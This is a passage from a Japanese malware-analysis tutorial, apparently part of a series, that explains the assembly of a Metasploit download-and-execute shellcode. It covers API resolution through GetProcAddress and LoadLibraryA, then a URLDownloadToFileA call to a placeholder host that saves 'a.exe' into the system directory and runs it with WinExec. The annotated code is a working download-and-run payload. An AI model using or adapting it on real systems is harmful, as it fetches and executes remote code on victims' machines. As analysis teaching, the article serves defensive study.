では、シェルコードの続きを見ていきましょう。
54: mov edi, edx ; シェルコード末端のアドレスをediに代入 55: mov esi, edi ; シェルコード末端のアドレスをesiに代入 56: add esi, 0Eh ; “GetSystemDirectoryA”-1 57: mov edx, eax ; GetProcAddressのアドレスを代入 58: push 4 59: pop ecx ; ecxに4を代入 60: call sub_DC ; sub_DCの呼び出し 61:
60行目でsub_DCを呼び出していますね。このsub_DCを呼び出す直前のレジスタの値は、以下のようになります。
・esi | シェルコード末端の文字列“GetProcAddress”の直後のアドレス |
---|---|
・edi | シェルコード末端の文字列“GetProcAddress”の先頭のアドレス |
・edx | GetProcAddress関数のアドレス |
・ecx | 4 |
・ebx | kernel32.dllのベースアドレス |
では、sub_DCはどうなっているでしょうか?
102: sub_DC proc near 103: xor eax, eax ; eaxを0に初期化 104: lodsb ; esiから1バイト読み出しalに代入しesiをインクリメント 105: test eax, eax 106: jnz short sub_DC ; eaxが0でないときはsub_DCへジャンプ 107: push ecx ; ecxをスタックに退避 108: push edx ; edxをスタックに退避 109: push esi ; esiの値をスタックにプッシュ 110: push ebx ; ebxをスタックにプッシュ 111: call edx ; edxが指す関数の呼び出し 112: pop edx ; edxをスタックから復元 113: pop ecx ; ecxをスタックから復元 114: stosd ; eaxをアドレスediに格納し、ediを4バイト加算 115: loop sub_DC ; ecxをデクリメントし、ecxが0でなければsub_DCへジャンプ 116: xor eax, eax ; eaxを0に初期化 117: retn 118: sub_DC endp 119:
まず103〜106行目では、アドレスesiが指すバイト値が0になった時点まで、esiをインクリメントしています。これにより、初めて0が出てきたバイト値の次のバイト値をesiが指した状態で、繰り返し処理が終了します。ここでは、シェルコード末端にある文字列“GetSystemDirectoryA”の先頭を、esiが指した状態になります。
107〜108行目ではecx、edxレジスタをスタックに退避しています。さらに109〜110行目でesi(文字列“GetSystemDirectoryA”の先頭アドレス)とebx(kernel32.dllのベースアドレス)をスタックに積み、111行目のcall edxによりGetProcAddress関数を呼んでいます。ここでGetProcAddressの型を見てみましょう(http://msdn.microsoft.com/ja-jp/library/cc429133.aspx)。
FARPROC GetProcAddress( HMODULE hModule, // DLL モジュールのハンドル LPCSTR lpProcName // 関数名 );
1番目の引数はDLLモジュールのハンドルとなっていますが、これはDLLのベースアドレスです。また2番目の引数はアドレスを取得したい関数の名前です。
Win32 APIの呼び出し規約(MS stdcallと呼ばれます)では、関数の引数は後ろから順(ここでは【関数名】、【DLLモジュールのハンドル】の順)にスタックへ積み、関数から戻ってきた後は、引数として積んだ分のスタックが巻き戻った状態になります。また関数の戻り値が存在する場合は、eaxにその値が格納されることになっています。
ここで注意が必要なのは、eax以外にも、ecx、edxレジスタはWin32 APIを呼び出している最中に内容が変更される可能性があることです。このためシェルコードでは、まず107〜108行目でecx、edxの両レジスタをスタックに退避し、112〜113行目でそれらの値を復元しています。
111行目のcall edxの実行後は、 GetProcAddress関数によりGetSystemDirectoryA関数のアドレスがeaxレジスタに格納されます。そして114行目のstosd命令によってediが指す領域にeaxの内容が保存され、ediが4バイト分加算されます。
その後115行目でloop sub_DC命令が実行されます。ecxの内容は4でしたので、102〜115行目の処理を4回繰り返すことになります。つまり、シェルコード末端にある4つの関数名“GetSystemDirectoryA”“WinExec”“ExitThread”“LoadLibraryA”について、アドレスが解決されることになります。
シェルコードの続きを見てみましょう。
62: add esi, 0Dh ; 文字列“urlmon”のアドレスをesiに代入 63: push edx ; edxの値をスタックに退避 64: push esi ; 文字列“urlmon”のアドレスをスタックへプッシュ 65: call dword ptr [edi-4] ; LoadLibraryA(“urlmon”)の呼び出し 66: pop edx ; edxの値をスタックから復元 67: mov ebx, eax ; urlmonのモジュールハンドルをebxに代入 68: push 1 69: pop ecx ; ecxに1を代入 70: call sub_DC ; sub_DCの呼び出し 71:
今度は、urlmonをLoadLibraryAによりロードし(62〜65行目)、このベースアドレスをebxに設定(67行目)した状態でsub_DCを呼び出すことで、“URLDownloadToFileA”のアドレスを取得しています。
次は、URLDownloadToFileA関数を呼び出すための準備です。
72: add esi, 13h ; “URLDownloadToFileA\0”の文字数(13h)をesiに加算 73: push esi ; esiをスタックに退避 74: loc_A3: 75: inc esi ; esiをインクリメント 76: cmp byte ptr [esi], 80h 77: jnz short loc_A3 ; [esi]が80hではないときはloc_A3へジャンプ 78: xor byte ptr [esi], 80h ; [esi]をNULL文字に変換 79: pop esi ; esiをスタックから復元 80:
72〜79行目では、シェルコードの末端に格納されているURLの終端文字(80h)を、80hと排他的論理和(XOR)を取ることで、NULL文字に変換しています。これによりURLDownLoadToFileA関数に渡すURLの準備ができました。次は、ダウンロードしたファイルを保存するファイル名を生成します。
81: sub esp, 20h ; espを20h減算 82: mov ebx, esp ; espをebxに代入 83: push 20h ; スタックに20hを積む 84: push ebx ; ebxをスタックに積む 85: call dword ptr [edi-14h] ; GetSystemDirectoryA関数の呼び出し 86: mov dword ptr [ebx+eax], 'e.a\' 87: mov dword ptr [ebx+eax+4], 'ex' ; システムディレクトリ名の末尾に“a.exe”を追加
81〜85行目で、GetSystemDirectoryA関数によりシステムディレクトリ名を取得し、86〜87行目で、システムディレクトリ名の直後に“\a.exe”を追加しています。次がいよいよ最後です。
88: xor eax, eax ; eaxを0に初期化 89: push eax ; NULL(lpfnCB)をスタックに積む 90: push eax ; NULL(dwReserved)をスタックに積む 91: push ebx ; ebx(“C:\\WINDOWS\\system32\\a.exe”へのポインタ)をスタックに積む 92: push esi ; esi(“http://hoge.com”へのポインタ)をスタックに積む 93: push eax ; NULL(pCaller)をスタックに積む 94: call dword ptr [edi-4] ; URLDownloadToFileAの呼び出し 95: mov ebx, esp 96: push eax ; 0(uCmdShow)をスタックに積む 97: push ebx ; ebx(“C:\\WINDOWS\\system32\\a.exe”へのポインタ)をスタックに積む 98: call dword ptr [edi-10h] ; WinExec関数の呼び出し 99: push eax ; 0(dwExitCode)をスタックに積む 100: call dword ptr [edi-0Ch] ; ExitThread関数の呼び出し
まず88〜94行目で、URLDownloadToFileA関数を呼び出すことでシステムディレクトリにa.exeファイルを生成します、そして95〜98行目にて、このa.exeをWinExec関数で実行します。最後となる99〜100行目では、ExitThread関数を呼ぶことで、シェルコードが動作しているスレッドを終了させています。
最後は駆け足になりましたが、今回はdownload_exec.binのシェルコードを一通り見てみました。
Metasploit Frameworkに含まれるシェルコードの中には、今回とは違ったAPIのアドレス解決方法を用いるものがあります。ただ、PEファイルのエクスポートディレクトリを参照するという点では共通していますので、ぜひ今回得た知識を、今後の解析作業で生かしていただければと思います。
では、また次回をお楽しみに。
岩村 誠(いわむら まこと)
2002年 日本電信電話株式会社入社。学生時代にセキュリティホール対策に魅せられ、現在は新たなマルウェア対策技術の研究開発を推進。「アナライジング・マルウェア」執筆の言い出しっぺ、らしいが、当時は酔っぱらっていて正直あまり覚えていない(^^;
Copyright © ITmedia, Inc. All Rights Reserved.